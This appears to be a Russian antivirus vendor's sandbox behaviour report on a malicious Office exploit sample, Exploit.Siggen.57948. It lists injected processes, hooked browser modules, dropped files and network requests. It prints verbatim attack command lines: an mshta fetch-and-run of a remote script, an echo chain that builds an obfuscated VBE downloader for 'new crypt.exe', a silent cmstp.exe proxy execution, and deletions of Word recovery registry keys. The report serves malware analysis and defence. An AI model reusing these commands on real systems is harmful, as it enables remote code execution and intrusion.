Exploit.Siggen.57948

Техническая информация

Вредоносные функции

Запускает на исполнение

'%WINDIR%\syswow64\taskkill.exe' /F /IM winword.exe
'%WINDIR%\syswow64\taskkill.exe' /F /IM cmstp.exe

Запускает на исполнение (эксплоит)

'%WINDIR%\syswow64\cmd.exe' /c CmD < "%tmP%\aaaaaaaaaa.txt" & exit c

Внедряет код в

следующие системные процессы:

%WINDIR%\explorer.exe
%WINDIR%\syswow64\colorcpl.exe

следующие пользовательские процессы:

iexplore.exe
firefox.exe

Перехватывает функции

в браузерах

Процесс iexplore.exe, модуль wininet.dll
Процесс firefox.exe, модуль nss3.dll

Изменения в файловой системе

Создает следующие файлы

%TEMP%\aaaaaaaaaa.txt
%TEMP%\hacrgnjbggzhut.txt
%TEMP%\zkpbyaegdueapeh.sct
%TEMP%\snzawpgkihibqpjy.doc
%APPDATA%\microsoft\network\connections\cm\ .cmp
%TEMP%\o5m.vbe
%TEMP%\txx.exe

Удаляет следующие файлы

%TEMP%\zkpbyaegdueapeh.sct
%TEMP%\o5m.vbe
%TEMP%\txx.exe

Сетевая активность

TCP

Запросы HTTP GET

http://13#.#8.169.9/xynj/fine.txt
http://13#.#8.169.9/xynj/fina.txt
http://13#.#8.169.9/xynj/new%20crypt.exe

Другое

Ищет следующие окна

ClassName: '' WindowName: ''

Создает и запускает на исполнение

'<SYSTEM32>\wscript.exe' "%TEMP%\O5m.vBe"
'%TEMP%\txx.exe'
'%WINDIR%\syswow64\cmd.exe' /c CmD < "%tmP%\aaaaaaaaaa.txt" & exit c' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c mshta http://13#.#8.169.9/xynj/fina.txt' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C Cd %TemP% & @EChO C9t = "http://13#.#8.169.9/xynj/new crypt.exe">>O5m.vBe &@EChO B8u = F4i("UYY/FYF")>>O5m.vBe &@EChO Set N1d = CreateObject(F4i("NTYNM3/YNMIUUQ"))...' (со скрытым окном)

Запускает на исполнение

'%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
'%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Resiliency /f
'%ProgramFiles%\microsoft office\office14\winword.exe' "%TEMP%\\snZawPgKIhIbqpJy.doc"
'<SYSTEM32>\cmstp.exe' /s /ns "%TEMP%\hacRGnjBGGZhUt.txt"
'<SYSTEM32>\cmd.exe' /c mshta http://13#.#8.169.9/xynj/fina.txt
'<SYSTEM32>\mshta.exe' http://13#.#8.169.9/xynj/fina.txt
'<SYSTEM32>\cmd.exe' /C Cd %TemP% & @EChO C9t = "http://13#.#8.169.9/xynj/new crypt.exe">>O5m.vBe &@EChO B8u = F4i("UYY/FYF")>>O5m.vBe &@EChO Set N1d = CreateObject(F4i("NTYNM3/YNMIUUQ"))...
'<SYSTEM32>\timeout.exe' 12
'%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Resiliency /f
'%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency /f
'%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency /f
'%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Resiliency /f
'%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Resiliency /f
'%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Resiliency /f
'%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Resiliency /f
'%WINDIR%\syswow64\cmd.exe'
'%WINDIR%\syswow64\colorcpl.exe'
'%WINDIR%\syswow64\cmd.exe' del "%TEMP%\TXX.EXE"